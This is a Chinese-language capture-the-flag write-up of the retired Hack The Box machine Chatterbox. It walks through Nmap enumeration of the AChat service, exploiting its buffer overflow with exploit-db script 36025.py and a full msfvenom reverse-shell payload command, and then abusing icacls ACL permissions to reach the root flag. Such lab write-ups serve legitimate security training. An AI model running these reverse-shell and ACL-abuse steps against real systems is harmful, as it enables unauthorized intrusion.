Chatterbox Writeup

概述 (Overview)

500

HOST: 10.10.10.74

OS: Windows

发布时间: 2018-01-28

完成时间: 2021-10-25

机器作者: lkys37en

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #icacls

攻击链 (Kiillchain)

通过 Nmap 对目标服务开放端口进行枚举,识别出存在缓存溢出漏洞的 Achat 服务,使用修改后的 exploit 成功获得目标服务器的立足点。

查询用户文件夹及文件发现存在 ACL 控制措施,通过 icacls 命令成功编辑 ACL 列表,成功得到 root flag。

枚举(Enumeration)

老样子,通过 Nmap 工具对目标服务器进行开放端口枚举:

PORT STATE SERVICE REASON VERSION 9255/tcp open http syn-ack ttl 127 AChat chat system httpd |_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: AChat |_http-title: Site doesn't have a title. 9256/tcp open achat syn-ack ttl 127 AChat chat system

66c11a448c165f64d8fe99b7c27f7bbe.png

这里我使用的是 nmapAutomator 工具,它的主要用途是通过 bash 脚本将常用的 Nmap 扫描命令进行补全。很快看的两个端口 9255、9256,使用搜索引擎对端口信息进行了解。

Achat 易受基于 SEH 的堆栈缓冲区溢出的影响 - https://www.speedguide.net/port.php?port=9256

Port 9256 - Achat

锁定是 Achat 服务后,尝试搜索它的历史严重漏洞,先从 exploit-db 中下手:

Achat 0.150 beta7 - Remote Buffer Overflow | windows/remote/36025.py Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb

有缓存溢出漏洞,根据 Achat 0.150 beta7 - Remote Buffer Overflow 脚本描述,进行攻击复现。

立足点(Foothold)

通过 msfvenom 生成反连 Kali 的 exploit:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=<kali> LPORT=9900 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python > exploit.txt

将生成的 exploit Bing 数据内容替换至 36025.py 脚本中,新开窗口使用 NC 监听 9900 端口,完成 MSF 攻击上线:

f1285ae0742cd2bf7f515060d581d11a.png|600

得到目标服务的立足点,在 Desktop 目录下获取 User flag。

e22d73c6e5f909d6f7fcad1467ac8366.png|550

权限提升(Privilege Escalation)

277deda59d964cb1b765b4e34210c102.png|550

首先查看系统信息,当前的目标服务系统是 Windows 7 Pro,并且可以查看到已经安装过安全补丁,说明可以排除系统高危提取利用:

a56af3d0cda910d2b8e3faf5d0b1194d.png

在 Kali 中启动 impacket-smbserver 文本共享服务,将 winPEAS 传递至服务器进行深度的信息收集。发现存在 Alfred 用户的登录凭证:

83e7d8e62b2bb5255b2e77fa594bdd22.png|500

但当前会话的 session 用户就是 Alfred,所以没啥用。接着查看深度收集的信息,发现可以查看 C:\Users\Administrator 的目录权限,但没有读取权限:

06a4bde7700639b1caf53fe69d3b3222.png|550

通过 Google 进行查询,发现在 Windows 中可以使用 cacls、icacls 来查看用户组的 ACL 权限列表,先看一下目录ACL:

6f437162c0346d8c0857b314fd7de35e.png|550

b2744a56d266d83d93cb663624c72cac.png|550

  • cacls : 显示或修改文件的访问控制列表(ACL)
  • icacls : 显示或修改自由访问控制表(Dacl) 上指定的文件,并指定目录中的文件应用于存储的 Dacl。

这里需要关注括号中以逗号分隔的特定权限列表,详细如下:

  • 一系列简单权限(基本权限):
    • F - 完全访问
    • M - 修改访问
    • RX - 读取和执行访问
    • R - 只读访问
    • W - 只写访问
  • 特定权限括号中的逗号分隔列表(高级权限):
    • D - 删除
    • RC - 读取控制(读取权限)
    • WDAC - 写入 DAC(更改权限)
    • WO - 写所有者(取得所有权)
    • S - 同步
    • AS - 访问系统安全
    • MA - 允许的最大值
    • GR - 通用读取
    • GW - 通用写入
    • GE - 通用执行
    • GA - 通用所有
    • RD - 读取数据/列表目录
    • WD - 写入数据/添加文件
    • AD - 追加数据/添加子目录
    • REA - 读取扩展属性
    • WEA - 编写扩展属性
    • X - 执行/遍历
    • DC - 删除孩子
    • RA - 读取属性
    • WA - 写属性
  • 继承权可以先于任何一种<perm>形式:
    • (I) - 继承。ACE 继承自父容器。
    • (OI) - 对象继承。此容器中的对象将继承此 ACE。仅适用于目录。
    • (CI) - 容器继承。此父容器中的容器将继承此 ACE。仅适用于目录。
    • (IO) - 仅继承。ACE 继承自父容器,但不适用于对象本身。仅适用于目录。
    • (NP) - 不要传播继承。ACE 由容器和对象从父容器继承,但不会传播到嵌套容器。仅适用于目录。

751cb0783ba89608042f14f10685b600.png|500

可以看到,对文件、文件夹的 ACL 控制策略 Alfred 用户具备完全访问(F),那么可以通过 /grant 参数授予指定的用户访问权限。通过 cacls 进行查看,当前仅有 Administrator 用户。

23687cabefd71a1c5b8b6306276116b7.png

成功得到 Root Flag。

参考